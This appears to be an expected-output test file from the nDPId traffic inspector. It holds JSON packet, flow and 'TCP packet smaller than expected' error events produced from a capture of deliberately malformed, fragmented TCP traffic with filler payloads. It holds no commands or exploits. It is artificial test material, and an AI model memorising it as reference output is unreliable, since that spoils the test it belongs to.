-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476821} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476833} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244030476844} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":6260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAgAAAAAAAAAA"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":21,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244030777079,"flow_src_last_pkt_time":1534244030777079,"flow_dst_last_pkt_time":1534244030777079,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":4,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":4,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244030777079,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":13362,"dst_port":12596,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_src_last_pkt_time":1534244030777079,"flow_dst_last_pkt_time":1534244030777079,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCpc2AAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777103} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777109} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777115} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":6264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777120} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777128} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777134} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777139} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777150} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777156} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777162} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777169} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777175} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777218} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777225} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777230} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":6276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777235} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777241} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777246} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777251} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777256} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777261} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777266} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777272} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777277} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777282} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777287} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777293} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777298} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777303} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777309} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777314} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777320} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777326} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777331} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777348} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777392} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777398} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777403} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777408} 